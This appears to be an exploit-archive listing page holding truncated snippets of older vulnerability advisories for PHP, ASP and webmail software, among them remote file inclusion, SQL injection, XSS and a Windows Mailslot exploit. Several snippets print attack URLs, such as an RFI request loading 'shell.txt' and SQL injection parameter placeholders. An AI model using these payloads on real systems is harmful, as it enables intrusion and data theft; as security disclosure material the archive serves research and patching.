vmwater-rfi.txt

vm watermark mod 0.4.1 Remote file include Download script : http://gallery.menalto.com/files/vm-watermarkmod-0.4.1.zip Thanks to str0ke Exploit : http://www.site.com/path/watermark.php?GALLERYBASEDIR=shell.txt? Discovered by : ThE TiGeR MiroTiger100atHotmaildotcom...

Mambo/Joomla Module Weather (absolute_path) Remote File include Vuln

============================================================ Mambo/Joomla Module Weather absolutepath Remote File include Vuln ============================================================ Found By : Cold z3ro , [email protected] ============================================================...

satel-lfi.txt

+-------------------------------------------------------------------- + + Satel Lite for PhpNuke Satellite.php = Local File Inclusion + +-------------------------------------------------------------------- + + Affected Software .: NUke Satel lite + Class .............: LoCal File Inclusion + Risk...

Kolayindir Download (Yenionline) (tr) SqL Injection Vuln.

BhhGroup.Org & Bilgi-Yonetimi.Org.Tr script name : Kolayindir Download Yenionline tr Script Download : http://www.aspindir.com/indir.asp?id=4630 Risk : High Found By : ShaFuck31 Vulnerable file : down.asp Vulnerable : http://www.victim.com/ScriptPath/down.asp?id=SqL Contact: ShaFuq31 at HoTMaiL d...

Hotmail and Windows Live Mail XSS Vulnerabilities

Hotmail's filter identifies "expression" syntax in a CSS attribute. According to Hasegawa Yosuke's posthttp://archive.openmya.devnull.jp/2006.08/msg00369.html, in some character encodingse.g. GB2312, we can substitute some special double-byte chars for the corresponding chars in "expression"...

Okul Merkezi Portal v1.0 Remote File IncLude Vuln.

LiderHack.Org & BhhGroup.Org & Bilgi-Yonetimi.Org.Tr script name : Okul Merkezi Portal v1.0 GoogLe Dork : ogrencimezunlar.php Script Download : http://www.okulmerkezi.com/omdemo/ Risk : High Found By : ShaFuck31 Thanks : | Dekolax | The ReD | DesquneR | f1r3b0y | BaZaL | SaboTaqe | ST@ReXT |...

rateme-rfi.txt

+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++ + ;;ii,,:: + + :::: :: ;;tt;;:: + + ;;:: ..,,:: ;;ii,,:: + + ,,,, ii;;,, ii;;:: ;;ii,,:: + + ii:: tt;;,, ..tt;;,,.. ;;ii;;:: + + ii,,:: ttii,, ..ff;;;;:: ;;ii;;:: + + tt;;::..,, tt;;,, ff;;;;...

Powie's PHP MatchMaker <= v4.05 (matchdetail) Remote SQL Injection Exploit

============================================================================================== Powie's PHP MatchMaker = v4.05 matchdetail Remote SQL Injection Exploit =============================================================================================== Critical Level : Dangerous Venedor...

Powies pForum 1.29a - editpoll.php SQL Injection

Powies pForum 1.29a - editpoll.php SQL Injection ============================================================================================== Powie's PHP Forum = v1.29a editpoll Remote SQL Injection Exploit...

hotmail_xss.txt

Adivisory Name : Hotmail and Windows Live Mail XSS Vulnerabilities Release Date : 2006.11.03 Test On : Microsoft IE 6.0 Discover : Cheng Peng Suapplesoupatgmail.com Introduction: Hotmail and Windows Live Mail are both web-based e-mail services by Microsoft. Details: Hotmail's filter identifies...

New Vunerability

blueshoes-filemanager-4.6public $it : www.blueshoes.org Remote File Include Vulnerability APPpathcore Auth0r : xw0x c0ntact : xw0xatHotmaild0tcom wlc0m In x0|0x ======================================================= C0d : ===== ./file.php requireonce$APP'path''core'...

Hotmail/MSN insite.asp跨站脚本执行漏洞

Hotmail是微软提供的用于注册MSN的免费邮件系统。 Hotmail的CGI脚本实现上存在跨站脚本执行漏洞，远程攻击者可能利用此漏洞非授权访问其他用户的邮箱。 由于没有正确过滤用户输入，导致newsletter.msn.com的insite.asp脚本中存在跨站脚本漏洞。攻击者可以利用这个脚本在已认证MSN用户浏览器的环境中执行任意代码，导致窃取基于cookie的认证信息，在cookie过期之前（大约24个小时）临时访问受害用户的邮件帐号。 Microsoft Hotmail 目前厂商还没有提供补丁或者升级程序，我们建议使用此软件的用户随时关注厂商的主页以获取最新版本：...

RamaCMS-adodb.txt

===================================================================== RamaCMS adodb.inc.php Remote File Inclue Vulnerability ===================================================================== Author : Le CoPrA ===================================================================== Download Scrip...

BrudaNews 1.1 - adminindex.php Remote File Inclusion

BrudaNews 1.1 - adminindex.php Remote File Inclusion ============================================================================================== BrudaNews ================================================================================================ Exploit : --------------------------------...

msn-xss-galore.txt

Title: Hotmail/MSN Multiple cross site scripting XSS Author: Securma Massine MorX Security Research Team http://www.morx.org Original Advisory/Xploit : http://www.morx.org/msnxss.txt Vulnerability : Multiple cross site scripting XSS Severity: Medium/High Description : msn.com is suffers from...

Diesel Paid Mail getad.php Cross-Site Scripting Vulnerability

NightWarriorKurdish Hacker nightwarrior-athotmail.com Diesel Paid Mail getad.php Cross-Site Scripting Vulnerability Contact : nightwarrior-athotmail.com hompage : www.dieselscripts.com http://www.example.com/Script Path/site/getad.php?refid=&email=default&ps=XSS...

MS Windows Mailslot Ring0 Memory Corruption Exploit (MS06-035)

Exploit for unknown platform in category dos / poc ============================================================== MS Windows Mailslot Ring0 Memory Corruption Exploit MS06-035 ============================================================== include include include / Microsoft SRV.SYS Mailslot Ring0...

VBZooM-lng.txt

============================================= Discovered By: CrAzY CrAcKeR Site:www.alshmokh.com I want to thank my friend:- nono225-mHOn-rageh-Lover Hacker-Breeeeh BoNym-Rootshill-LiNuXrOOt-Sw33t h4ck3r ============================================= Example:- /lng.php?QuranID=SQL...

VBZooM-message.txt

============================================= Discovered By: CrAzY CrAcKeR Site:www.alshmokh.com I want to thank my friend:- nono225-mHOn-rageh-Lover Hacker-Breeeeh BoNym-Rootshill-LiNuXrOOt-Sw33t h4ck3r ============================================= Example:- /message. php?UserID=SQL...

VBZooM-rank.txt

============================================= Discovered By: CrAzY CrAcKeR Site: www.alshmokh.com I want to thank my friend:- nono225-mHOn-rageh-Lover Hacker-Breeeeh BoNym-Rootshill-LiNuXrOOt-Sw33t h4ck3r ============================================= Example:- /rank.php?MemberID=SQL...